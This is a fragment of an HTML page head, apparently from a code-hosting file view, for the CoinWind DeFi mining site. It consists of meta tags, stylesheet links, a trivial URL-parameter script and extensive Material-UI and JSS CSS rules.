2204 lines
75 KiB
PHP
2204 lines
75 KiB
PHP
<html lang="en" class="en">
|
|
|
|
<head>
|
|
<meta charset="utf-8" />
|
|
<link rel="icon" href="/favicon.ico" />
|
|
<meta name="viewport" content="width=device-width,maximum-scale=3,minimum-scale=1,initial-scale=1,user-scalable=no" />
|
|
<meta name="theme-color" content="#000000" />
|
|
<meta name="description" content="CoinWind-DeFi生态单币挖矿收益最优平台" />
|
|
<link rel="manifest" href="/manifest.json" />
|
|
<link rel="stylesheet" href="/custom.css" />
|
|
<title>CoinWind</title>
|
|
<script>
|
|
try {
|
|
new URLSearchParams(window.location.search).get("target")
|
|
} catch (a) {}
|
|
</script>
|
|
<link href="/static/css/2.fe62fa80.chunk.css" rel="stylesheet" />
|
|
<link href="/static/css/main.80c6e4a5.chunk.css" rel="stylesheet" />
|
|
<style data-jss="" data-meta="MuiSvgIcon">
|
|
.MuiSvgIcon-root {
|
|
fill: currentColor;
|
|
width: 1em;
|
|
height: 1em;
|
|
display: inline-block;
|
|
font-size: 1.5rem;
|
|
transition: fill 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
|
|
flex-shrink: 0;
|
|
user-select: none;
|
|
}
|
|
|
|
.MuiSvgIcon-colorPrimary {
|
|
color: #3f51b5;
|
|
}
|
|
|
|
.MuiSvgIcon-colorSecondary {
|
|
color: #f50057;
|
|
}
|
|
|
|
.MuiSvgIcon-colorAction {
|
|
color: rgba(0, 0, 0, 0.54);
|
|
}
|
|
|
|
.MuiSvgIcon-colorError {
|
|
color: #f44336;
|
|
}
|
|
|
|
.MuiSvgIcon-colorDisabled {
|
|
color: rgba(0, 0, 0, 0.26);
|
|
}
|
|
|
|
.MuiSvgIcon-fontSizeInherit {
|
|
font-size: inherit;
|
|
}
|
|
|
|
.MuiSvgIcon-fontSizeSmall {
|
|
font-size: 1.25rem;
|
|
}
|
|
|
|
.MuiSvgIcon-fontSizeLarge {
|
|
font-size: 2.1875rem;
|
|
}
|
|
</style>
|
|
<style data-jss="" data-meta="PrivateHiddenCss">
|
|
@media (min-width:0px) and (max-width:599.95px) {
|
|
.jss29 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:0px) {
|
|
.jss30 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (max-width:599.95px) {
|
|
.jss31 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:600px) and (max-width:959.95px) {
|
|
.jss32 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:600px) {
|
|
.jss33 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (max-width:959.95px) {
|
|
.jss34 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:960px) and (max-width:1279.95px) {
|
|
.jss35 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:960px) {
|
|
.jss36 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (max-width:1279.95px) {
|
|
.jss37 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:1280px) and (max-width:1919.95px) {
|
|
.jss38 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:1280px) {
|
|
.jss39 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (max-width:1919.95px) {
|
|
.jss40 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:1920px) {
|
|
.jss41 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:1920px) {
|
|
.jss42 {
|
|
display: none;
|
|
}
|
|
}
|
|
|
|
@media (min-width:0px) {
|
|
.jss43 {
|
|
display: none;
|
|
}
|
|
}
|
|
</style>
|
|
<style data-jss="" data-meta="makeStyles">
|
|
.jss1 {
|
|
width: 100%;
|
|
height: 80px;
|
|
position: relative;
|
|
background: rgba(255, 255, 255, 0.60);
|
|
border-top: 1px solid #FFFFFF;
|
|
box-shadow: 0 4px 16px 0 #F6F6F6;
|
|
border-bottom: 1px solid #FFFFFF;
|
|
}
|
|
|
|
@media (max-width:959.95px) {
|
|
.jss1 {
|
|
height: 48px;
|
|
}
|
|
}
|
|
|
|
.jss2 {
|
|
height: 80px;
|
|
margin: 0 auto;
|
|
display: flex;
|
|
padding: 0 10px;
|
|
max-width: 1200px;
|
|
box-sizing: border-box;
|
|
align-items: center;
|
|
justify-content: space-between;
|
|
}
|
|
|
|
@media (max-width:959.95px) {
|
|
.jss2 {
|
|
width: 100%;
|
|
height: 48px;
|
|
padding: 0 16px;
|
|
}
|
|
}
|
|
|
|
.jss3 {
|
|
top: 18px;
|
|
left: 38px;
|
|
width: 165px;
|
|
height: 44px;
|
|
display: block;
|
|
position: absolute;
|
|
background: url(/static/media/logo.c3d2c062.svg) no-repeat center center;
|
|
background-size: contain;
|
|
}
|
|
|
|
.jss4 {
|
|
top: 18px;
|
|
left: 38px;
|
|
width: 165px;
|
|
height: 44px;
|
|
display: block;
|
|
position: absolute;
|
|
}
|
|
|
|
.jss4 img {
|
|
width: 100%;
|
|
height: 100%;
|
|
}
|
|
|
|
@media (max-width:959.95px) {
|
|
.jss4 {
|
|
width: 120px;
|
|
height: 32px;
|
|
position: unset;
|
|
}
|
|
|
|
.jss4 img {
|
|
width: 100%;
|
|
height: 100%;
|
|
}
|
|
}
|
|
|
|
.jss5 {
|
|
color: #8391A8;
|
|
height: 100%;
|
|
font-size: 14px;
|
|
font-weight: 500;
|
|
line-height: 80px;
|
|
}
|
|
|
|
@media (max-width:959.95px) {
|
|
.jss5 {
|
|
height: 32px;
|
|
line-height: unset;
|
|
}
|
|
}
|
|
|
|
.jss6 {
|
|
color: #8391A8;
|
|
display: flex;
|
|
font-size: 14px;
|
|
font-weight: 500;
|
|
}
|
|
|
|
.jss6 p {
|
|
overflow: hidden;
|
|
max-width: 400px;
|
|
white-space: nowrap;
|
|
text-overflow: ellipsis;
|
|
}
|
|
|
|
.jss6 img {
|
|
margin-right: 5px;
|
|
}
|
|
|
|
.jss7 {
|
|
color: #FFA34F;
|
|
cursor: pointer;
|
|
font-size: 12px;
|
|
font-weight: 400;
|
|
margin-left: 8px;
|
|
text-decoration: underline;
|
|
}
|
|
|
|
.jss8 {
|
|
display: flex;
|
|
align-items: center;
|
|
}
|
|
|
|
.jss9 {
|
|
color: #555;
|
|
width: 100%;
|
|
border: 0;
|
|
display: flex;
|
|
padding: 0.625rem 0;
|
|
position: relative;
|
|
flex-flow: row nowrap;
|
|
box-shadow: 0 4px 18px 0px rgba(0, 0, 0, 0.12), 0 7px 10px -5px rgba(0, 0, 0, 0.15);
|
|
transition: all 150ms ease 0s;
|
|
align-items: center;
|
|
border-radius: 3px;
|
|
margin-bottom: 20px;
|
|
justify-content: flex-start;
|
|
background-color: #FFF;
|
|
}
|
|
|
|
.jss10 {
|
|
top: auto;
|
|
position: absolute;
|
|
}
|
|
|
|
.jss11 {
|
|
position: fixed;
|
|
}
|
|
|
|
.jss12 {
|
|
width: 100%;
|
|
display: flex;
|
|
flex-wrap: nowrap;
|
|
min-height: 50px;
|
|
align-items: center;
|
|
margin-left: auto;
|
|
margin-right: auto;
|
|
padding-left: 15px;
|
|
padding-right: 15px;
|
|
justify-content: space-between;
|
|
}
|
|
|
|
@media (min-width: 576px) {
|
|
.jss12 {
|
|
max-width: 540px;
|
|
}
|
|
}
|
|
|
|
@media (min-width: 768px) {
|
|
.jss12 {
|
|
max-width: 720px;
|
|
}
|
|
}
|
|
|
|
@media (min-width: 992px) {
|
|
.jss12 {
|
|
max-width: 960px;
|
|
}
|
|
}
|
|
|
|
@media (min-width: 1230px) {
|
|
.jss12 {
|
|
max-width: 1230px;
|
|
}
|
|
}
|
|
|
|
.jss13 {
|
|
letter-spacing: unset;
|
|
}
|
|
|
|
.jss13,
|
|
.jss13 a {
|
|
color: inherit;
|
|
font-size: 24px;
|
|
min-width: unset;
|
|
font-family: "Roboto", "Helvetica", "Arial", sans-serif, DINPro-Bold;
|
|
font-weight: 700;
|
|
line-height: 30px;
|
|
white-space: nowrap;
|
|
border-radius: 3px;
|
|
text-transform: none;
|
|
}
|
|
|
|
.jss13 a {
|
|
margin-left: 8px;
|
|
}
|
|
|
|
.jss13:hover,
|
|
.jss13:focus,
|
|
.jss13 a:hover,
|
|
.jss13 a:focus {
|
|
color: inherit;
|
|
background: transparent;
|
|
}
|
|
|
|
.jss14 {
|
|
margin: 20px 10px;
|
|
margin-top: 0px;
|
|
}
|
|
|
|
.jss15 {
|
|
color: #FFF;
|
|
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(255, 163, 79, 0.46);
|
|
background-color: #FFA34F;
|
|
}
|
|
|
|
.jss16 {
|
|
color: #FFF;
|
|
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(0, 172, 193, 0.46);
|
|
background-color: #00acc1;
|
|
}
|
|
|
|
.jss17 {
|
|
color: #FFF;
|
|
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(76, 175, 80, 0.46);
|
|
background-color: #4caf50;
|
|
}
|
|
|
|
.jss18 {
|
|
color: #FFF;
|
|
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(255, 152, 0, 0.46);
|
|
background-color: #ff9800;
|
|
}
|
|
|
|
.jss19 {
|
|
color: #FFF;
|
|
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(244, 67, 54, 0.46);
|
|
background-color: #f44336;
|
|
}
|
|
|
|
.jss20 {
|
|
color: #FFF;
|
|
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 12px -5px rgba(233, 30, 99, 0.46);
|
|
background-color: #e91e63;
|
|
}
|
|
|
|
.jss21 {
|
|
color: #FFF;
|
|
box-shadow: none;
|
|
padding-top: 25px;
|
|
background-color: transparent !important;
|
|
}
|
|
|
|
.jss22 {
|
|
color: #FFF;
|
|
box-shadow: 0px 8px 12px 0px rgba(0, 0, 0, 0.06);
|
|
background-color: #323951;
|
|
}
|
|
|
|
.jss23 {
|
|
color: #555;
|
|
border: 0;
|
|
padding: 0.625rem 0;
|
|
box-shadow: 0 4px 18px 0px rgba(0, 0, 0, 0.12), 0 7px 10px -5px rgba(0, 0, 0, 0.15);
|
|
margin-bottom: 20px;
|
|
background-color: #FFF !important;
|
|
}
|
|
|
|
.jss24 {
|
|
top: 0;
|
|
left: auto;
|
|
right: 0;
|
|
width: 260px;
|
|
border: none;
|
|
bottom: 0;
|
|
height: 100vh;
|
|
display: block;
|
|
position: fixed;
|
|
border-top: none;
|
|
box-shadow: 0 10px 30px -12px rgba(0, 0, 0, 0.42), 0 4px 25px 0px rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(0, 0, 0, 0.2);
|
|
overflow-y: visible;
|
|
text-align: left;
|
|
transition: all 0.33s cubic-bezier(0.685, 0.0473, 0.346, 1);
|
|
visibility: visible;
|
|
padding-left: 0;
|
|
padding-right: 0px;
|
|
background-color: #323951;
|
|
transition-duration: .2s, .2s, .35s;
|
|
transition-property: top, bottom, width;
|
|
transition-timing-function: linear, linear, ease;
|
|
}
|
|
|
|
.jss25 {
|
|
width: 100%;
|
|
}
|
|
|
|
.jss26 {
|
|
flex-grow: 1;
|
|
align-items: center;
|
|
-ms-flex-align: center;
|
|
-webkit-box-flex: 1;
|
|
-ms-flex-positive: 1;
|
|
-webkit-box-align: center;
|
|
}
|
|
|
|
@media (min-width:960px) {
|
|
.jss26 {
|
|
display: flex !important;
|
|
flex-basis: auto;
|
|
-ms-flex-preferred-size: auto;
|
|
}
|
|
}
|
|
|
|
.jss27 {
|
|
top: 9px;
|
|
color: white;
|
|
right: 8px;
|
|
z-index: 1;
|
|
position: absolute;
|
|
}
|
|
|
|
.jss28 {
|
|
width: 60xh;
|
|
display: flex;
|
|
overflow: visible;
|
|
justify-content: space-between;
|
|
}
|
|
</style>
|
|
<style data-jss="" data-meta="MuiTouchRipple">
|
|
.MuiTouchRipple-root {
|
|
top: 0;
|
|
left: 0;
|
|
right: 0;
|
|
bottom: 0;
|
|
z-index: 0;
|
|
overflow: hidden;
|
|
position: absolute;
|
|
border-radius: inherit;
|
|
pointer-events: none;
|
|
}
|
|
|
|
.MuiTouchRipple-ripple {
|
|
opacity: 0;
|
|
position: absolute;
|
|
}
|
|
|
|
.MuiTouchRipple-rippleVisible {
|
|
opacity: 0.3;
|
|
animation: MuiTouchRipple-keyframes-enter 550ms cubic-bezier(0.4, 0, 0.2, 1);
|
|
transform: scale(1);
|
|
}
|
|
|
|
.MuiTouchRipple-ripplePulsate {
|
|
animation-duration: 200ms;
|
|
}
|
|
|
|
.MuiTouchRipple-child {
|
|
width: 100%;
|
|
height: 100%;
|
|
display: block;
|
|
opacity: 1;
|
|
border-radius: 50%;
|
|
background-color: currentColor;
|
|
}
|
|
|
|
.MuiTouchRipple-childLeaving {
|
|
opacity: 0;
|
|
animation: MuiTouchRipple-keyframes-exit 550ms cubic-bezier(0.4, 0, 0.2, 1);
|
|
}
|
|
|
|
.MuiTouchRipple-childPulsate {
|
|
top: 0;
|
|
left: 0;
|
|
position: absolute;
|
|
animation: MuiTouchRipple-keyframes-pulsate 2500ms cubic-bezier(0.4, 0, 0.2, 1) 200ms infinite;
|
|
}
|
|
|
|
@-webkit-keyframes MuiTouchRipple-keyframes-enter {
|
|
0% {
|
|
opacity: 0.1;
|
|
transform: scale(0);
|
|
}
|
|
|
|
100% {
|
|
opacity: 0.3;
|
|
transform: scale(1);
|
|
}
|
|
}
|
|
|
|
@-webkit-keyframes MuiTouchRipple-keyframes-exit {
|
|
0% {
|
|
opacity: 1;
|
|
}
|
|
|
|
100% {
|
|
opacity: 0;
|
|
}
|
|
}
|
|
|
|
@-webkit-keyframes MuiTouchRipple-keyframes-pulsate {
|
|
0% {
|
|
transform: scale(1);
|
|
}
|
|
|
|
50% {
|
|
transform: scale(0.92);
|
|
}
|
|
|
|
100% {
|
|
transform: scale(1);
|
|
}
|
|
}
|
|
</style>
|
|
<style data-jss="" data-meta="MuiButtonBase">
|
|
.MuiButtonBase-root {
|
|
color: inherit;
|
|
border: 0;
|
|
cursor: pointer;
|
|
margin: 0;
|
|
display: inline-flex;
|
|
outline: 0;
|
|
padding: 0;
|
|
position: relative;
|
|
align-items: center;
|
|
user-select: none;
|
|
border-radius: 0;
|
|
vertical-align: middle;
|
|
-moz-appearance: none;
|
|
justify-content: center;
|
|
text-decoration: none;
|
|
background-color: transparent;
|
|
-webkit-appearance: none;
|
|
-webkit-tap-highlight-color: transparent;
|
|
}
|
|
|
|
.MuiButtonBase-root::-moz-focus-inner {
|
|
border-style: none;
|
|
}
|
|
|
|
.MuiButtonBase-root.Mui-disabled {
|
|
cursor: default;
|
|
pointer-events: none;
|
|
}
|
|
|
|
@media print {
|
|
.MuiButtonBase-root {
|
|
-webkit-print-color-adjust: exact;
|
|
}
|
|
}
|
|
</style>
|
|
<style data-jss="" data-meta="MuiIconButton">
|
|
.MuiIconButton-root {
|
|
flex: 0 0 auto;
|
|
color: rgba(0, 0, 0, 0.54);
|
|
padding: 12px;
|
|
overflow: visible;
|
|
font-size: 1.5rem;
|
|
text-align: center;
|
|
transition: background-color 150ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
|
|
border-radius: 50%;
|
|
}
|
|
|
|
.MuiIconButton-root:hover {
|
|
background-color: rgba(0, 0, 0, 0.04);
|
|
}
|
|
|
|
.MuiIconButton-root.Mui-disabled {
|
|
color: rgba(0, 0, 0, 0.26);
|
|
background-color: transparent;
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiIconButton-root:hover {
|
|
background-color: transparent;
|
|
}
|
|
}
|
|
|
|
.MuiIconButton-edgeStart {
|
|
margin-left: -12px;
|
|
}
|
|
|
|
.MuiIconButton-sizeSmall.MuiIconButton-edgeStart {
|
|
margin-left: -3px;
|
|
}
|
|
|
|
.MuiIconButton-edgeEnd {
|
|
margin-right: -12px;
|
|
}
|
|
|
|
.MuiIconButton-sizeSmall.MuiIconButton-edgeEnd {
|
|
margin-right: -3px;
|
|
}
|
|
|
|
.MuiIconButton-colorInherit {
|
|
color: inherit;
|
|
}
|
|
|
|
.MuiIconButton-colorPrimary {
|
|
color: #3f51b5;
|
|
}
|
|
|
|
.MuiIconButton-colorPrimary:hover {
|
|
background-color: rgba(63, 81, 181, 0.04);
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiIconButton-colorPrimary:hover {
|
|
background-color: transparent;
|
|
}
|
|
}
|
|
|
|
.MuiIconButton-colorSecondary {
|
|
color: #f50057;
|
|
}
|
|
|
|
.MuiIconButton-colorSecondary:hover {
|
|
background-color: rgba(245, 0, 87, 0.04);
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiIconButton-colorSecondary:hover {
|
|
background-color: transparent;
|
|
}
|
|
}
|
|
|
|
.MuiIconButton-sizeSmall {
|
|
padding: 3px;
|
|
font-size: 1.125rem;
|
|
}
|
|
|
|
.MuiIconButton-label {
|
|
width: 100%;
|
|
display: flex;
|
|
align-items: inherit;
|
|
justify-content: inherit;
|
|
}
|
|
</style>
|
|
<style data-jss="" data-meta="MuiButton">
|
|
.MuiButton-root {
|
|
color: rgba(0, 0, 0, 0.87);
|
|
padding: 6px 16px;
|
|
font-size: 0.875rem;
|
|
min-width: 64px;
|
|
box-sizing: border-box;
|
|
transition: background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms, box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms, border 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
|
|
font-family: "Roboto", "Helvetica", "Arial", sans-serif;
|
|
font-weight: 500;
|
|
line-height: 1.75;
|
|
border-radius: 4px;
|
|
letter-spacing: 0.02857em;
|
|
text-transform: uppercase;
|
|
}
|
|
|
|
.MuiButton-root:hover {
|
|
text-decoration: none;
|
|
background-color: rgba(0, 0, 0, 0.04);
|
|
}
|
|
|
|
.MuiButton-root.Mui-disabled {
|
|
color: rgba(0, 0, 0, 0.26);
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiButton-root:hover {
|
|
background-color: transparent;
|
|
}
|
|
}
|
|
|
|
.MuiButton-root:hover.Mui-disabled {
|
|
background-color: transparent;
|
|
}
|
|
|
|
.MuiButton-label {
|
|
width: 100%;
|
|
display: inherit;
|
|
align-items: inherit;
|
|
justify-content: inherit;
|
|
}
|
|
|
|
.MuiButton-text {
|
|
padding: 6px 8px;
|
|
}
|
|
|
|
.MuiButton-textPrimary {
|
|
color: #3f51b5;
|
|
}
|
|
|
|
.MuiButton-textPrimary:hover {
|
|
background-color: rgba(63, 81, 181, 0.04);
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiButton-textPrimary:hover {
|
|
background-color: transparent;
|
|
}
|
|
}
|
|
|
|
.MuiButton-textSecondary {
|
|
color: #f50057;
|
|
}
|
|
|
|
.MuiButton-textSecondary:hover {
|
|
background-color: rgba(245, 0, 87, 0.04);
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiButton-textSecondary:hover {
|
|
background-color: transparent;
|
|
}
|
|
}
|
|
|
|
.MuiButton-outlined {
|
|
border: 1px solid rgba(0, 0, 0, 0.23);
|
|
padding: 5px 15px;
|
|
}
|
|
|
|
.MuiButton-outlined.Mui-disabled {
|
|
border: 1px solid rgba(0, 0, 0, 0.12);
|
|
}
|
|
|
|
.MuiButton-outlinedPrimary {
|
|
color: #3f51b5;
|
|
border: 1px solid rgba(63, 81, 181, 0.5);
|
|
}
|
|
|
|
.MuiButton-outlinedPrimary:hover {
|
|
border: 1px solid #3f51b5;
|
|
background-color: rgba(63, 81, 181, 0.04);
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiButton-outlinedPrimary:hover {
|
|
background-color: transparent;
|
|
}
|
|
}
|
|
|
|
.MuiButton-outlinedSecondary {
|
|
color: #f50057;
|
|
border: 1px solid rgba(245, 0, 87, 0.5);
|
|
}
|
|
|
|
.MuiButton-outlinedSecondary:hover {
|
|
border: 1px solid #f50057;
|
|
background-color: rgba(245, 0, 87, 0.04);
|
|
}
|
|
|
|
.MuiButton-outlinedSecondary.Mui-disabled {
|
|
border: 1px solid rgba(0, 0, 0, 0.26);
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiButton-outlinedSecondary:hover {
|
|
background-color: transparent;
|
|
}
|
|
}
|
|
|
|
.MuiButton-contained {
|
|
color: rgba(0, 0, 0, 0.87);
|
|
box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12);
|
|
background-color: #e0e0e0;
|
|
}
|
|
|
|
.MuiButton-contained:hover {
|
|
box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12);
|
|
background-color: #d5d5d5;
|
|
}
|
|
|
|
.MuiButton-contained.Mui-focusVisible {
|
|
box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12);
|
|
}
|
|
|
|
.MuiButton-contained:active {
|
|
box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12);
|
|
}
|
|
|
|
.MuiButton-contained.Mui-disabled {
|
|
color: rgba(0, 0, 0, 0.26);
|
|
box-shadow: none;
|
|
background-color: rgba(0, 0, 0, 0.12);
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiButton-contained:hover {
|
|
box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12);
|
|
background-color: #e0e0e0;
|
|
}
|
|
}
|
|
|
|
.MuiButton-contained:hover.Mui-disabled {
|
|
background-color: rgba(0, 0, 0, 0.12);
|
|
}
|
|
|
|
.MuiButton-containedPrimary {
|
|
color: #fff;
|
|
background-color: #3f51b5;
|
|
}
|
|
|
|
.MuiButton-containedPrimary:hover {
|
|
background-color: #303f9f;
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiButton-containedPrimary:hover {
|
|
background-color: #3f51b5;
|
|
}
|
|
}
|
|
|
|
.MuiButton-containedSecondary {
|
|
color: #fff;
|
|
background-color: #f50057;
|
|
}
|
|
|
|
.MuiButton-containedSecondary:hover {
|
|
background-color: #c51162;
|
|
}
|
|
|
|
@media (hover: none) {
|
|
.MuiButton-containedSecondary:hover {
|
|
background-color: #f50057;
|
|
}
|
|
}
|
|
|
|
.MuiButton-disableElevation {
|
|
box-shadow: none;
|
|
}
|
|
|
|
.MuiButton-disableElevation:hover {
|
|
box-shadow: none;
|
|
}
|
|
|
|
.MuiButton-disableElevation.Mui-focusVisible {
|
|
box-shadow: none;
|
|
}
|
|
|
|
.MuiButton-disableElevation:active {
|
|
box-shadow: none;
|
|
}
|
|
|
|
.MuiButton-disableElevation.Mui-disabled {
|
|
box-shadow: none;
|
|
}
|
|
|
|
.MuiButton-colorInherit {
|
|
color: inherit;
|
|
border-color: currentColor;
|
|
}
|
|
|
|
.MuiButton-textSizeSmall {
|
|
padding: 4px 5px;
|
|
font-size: 0.8125rem;
|
|
}
|
|
|
|
.MuiButton-textSizeLarge {
|
|
padding: 8px 11px;
|
|
font-size: 0.9375rem;
|
|
}
|
|
|
|
.MuiButton-outlinedSizeSmall {
|
|
padding: 3px 9px;
|
|
font-size: 0.8125rem;
|
|
}
|
|
|
|
.MuiButton-outlinedSizeLarge {
|
|
padding: 7px 21px;
|
|
font-size: 0.9375rem;
|
|
}
|
|
|
|
.MuiButton-containedSizeSmall {
|
|
padding: 4px 10px;
|
|
font-size: 0.8125rem;
|
|
}
|
|
|
|
.MuiButton-containedSizeLarge {
|
|
padding: 8px 22px;
|
|
font-size: 0.9375rem;
|
|
}
|
|
|
|
.MuiButton-fullWidth {
|
|
width: 100%;
|
|
}
|
|
|
|
.MuiButton-startIcon {
|
|
display: inherit;
|
|
margin-left: -4px;
|
|
margin-right: 8px;
|
|
}
|
|
|
|
.MuiButton-startIcon.MuiButton-iconSizeSmall {
|
|
margin-left: -2px;
|
|
}
|
|
|
|
.MuiButton-endIcon {
|
|
display: inherit;
|
|
margin-left: 8px;
|
|
margin-right: -4px;
|
|
}
|
|
|
|
.MuiButton-endIcon.MuiButton-iconSizeSmall {
|
|
margin-right: -2px;
|
|
}
|
|
|
|
.MuiButton-iconSizeSmall>*:first-child {
|
|
font-size: 18px;
|
|
}
|
|
|
|
.MuiButton-iconSizeMedium>*:first-child {
|
|
font-size: 20px;
|
|
}
|
|
|
|
.MuiButton-iconSizeLarge>*:first-child {
|
|
font-size: 22px;
|
|
}
|
|
</style>
|
|
<style data-jss="" data-meta="makeStyles">
|
|
|
|
</style>
|
|
<style data-jss="" data-meta="makeStyles">
|
|
.jss47 {
|
|
display: none !important;
|
|
pointer-events: none;
|
|
}
|
|
|
|
.jss48 {
|
|
top: 10px !important;
|
|
}
|
|
|
|
@media (max-width:959.95px) {
|
|
.jss48 {
|
|
top: unset !important;
|
|
left: unset !important;
|
|
position: static !important;
|
|
transform: none !important;
|
|
will-change: none !important;
|
|
}
|
|
|
|
.jss48>div {
|
|
padding: 0px !important;
|
|
box-shadow: none !important;
|
|
margin-top: 0px !important;
|
|
transition: none !important;
|
|
margin-left: 1.5rem;
|
|
margin-right: 1.5rem;
|
|
margin-bottom: 5px !important;
|
|
}
|
|
}
|
|
|
|
.jss49 {
|
|
display: block;
|
|
}
|
|
|
|
.jss49>div>button,
|
|
.jss49>div>a {
|
|
color: inherit !important;
|
|
margin: 0px !important;
|
|
padding: 10px 20px !important;
|
|
}
|
|
|
|
.jss49>div>button>span:first-child,
|
|
.jss49>div>a>span:first-child {
|
|
width: 100%;
|
|
justify-content: flex-start;
|
|
}
|
|
|
|
.jss50>button:first-child>span:first-child,
|
|
.jss50>a:first-child>span:first-child {
|
|
display: inline-block;
|
|
}
|
|
|
|
.jss50 .jss67 {
|
|
margin-left: 0px;
|
|
}
|
|
|
|
.jss51 {
|
|
overflow: hidden;
|
|
box-shadow: 0 4px 12px 0 #EDEFF2;
|
|
border-radius: 16px;
|
|
}
|
|
|
|
.jss52 {
|
|
background-color: #323951;
|
|
}
|
|
|
|
.jss53 {
|
|
color: #fff !important;
|
|
}
|
|
|
|
.jss54 {
|
|
padding: 0;
|
|
}
|
|
|
|
.jss55 {
|
|
z-index: 1200;
|
|
}
|
|
|
|
@media (max-width:959.95px) {
|
|
.jss55 {
|
|
color: black;
|
|
float: none;
|
|
width: auto;
|
|
border: 0;
|
|
z-index: 1640;
|
|
position: static;
|
|
box-shadow: none;
|
|
margin-top: 0;
|
|
background-color: transparent;
|
|
}
|
|
}
|
|
|
|
.jss56 {
|
|
color: #131D32;
|
|
width: 198px;
|
|
height: 60px;
|
|
font-size: 16px;
|
|
background: transparent;
|
|
transition: all 150ms linear;
|
|
font-family: DINPro-Bold;
|
|
font-weight: 700;
|
|
line-height: 60px;
|
|
border-bottom: 1px solid #EDEFF2;
|
|
letter-spacing: 0;
|
|
justify-content: center;
|
|
}
|
|
|
|
.jss56:last-of-type {
|
|
border-bottom: none;
|
|
}
|
|
|
|
.jss57:hover {
|
|
color: #FFF;
|
|
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 10px -5px rgba(33, 33, 33, 0.4);
|
|
background-color: #272E42;
|
|
}
|
|
|
|
.jss58:hover {
|
|
color: #FFA34F;
|
|
background-color: rgba(255, 163, 79, .06);
|
|
}
|
|
|
|
.jss59:hover {
|
|
color: #FFF;
|
|
box-shadow: 0 12px 20px -10px rgba(0, 172, 193, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(0, 172, 193, 0.2);
|
|
background-color: #00acc1;
|
|
}
|
|
|
|
.jss60:hover {
|
|
color: #FFF;
|
|
box-shadow: 0 12px 20px -10px rgba(76, 175, 80, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(76, 175, 80, 0.2);
|
|
background-color: #4caf50;
|
|
}
|
|
|
|
.jss61:hover {
|
|
color: #FFF;
|
|
box-shadow: 0 12px 20px -10px rgba(255, 152, 0, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(255, 152, 0, 0.2);
|
|
background-color: #ff9800;
|
|
}
|
|
|
|
.jss62:hover {
|
|
color: #FFF;
|
|
box-shadow: 0 12px 20px -10px rgba(244, 67, 54, 0.28), 0 4px 20px 0px rgba(0, 0, 0, 0.12), 0 7px 8px -5px rgba(244, 67, 54, 0.2);
|
|
background-color: #f44336;
|
|
}
|
|
|
|
.jss63:hover {
|
|
color: #FFF;
|
|
box-shadow: 0 4px 20px 0px rgba(0, 0, 0, 0.14), 0 7px 10px -5px rgba(233, 30, 99, 0.4);
|
|
background-color: #e91e63;
|
|
}
|
|
|
|
.jss64 {
|
|
text-align: right;
|
|
}
|
|
|
|
.jss65 {
|
|
height: 1px;
|
|
margin: 5px 0;
|
|
overflow: hidden;
|
|
background-color: rgba(0, 0, 0, 0.12);
|
|
}
|
|
|
|
.jss66 {
|
|
color: white;
|
|
width: 20px;
|
|
height: 20px;
|
|
}
|
|
|
|
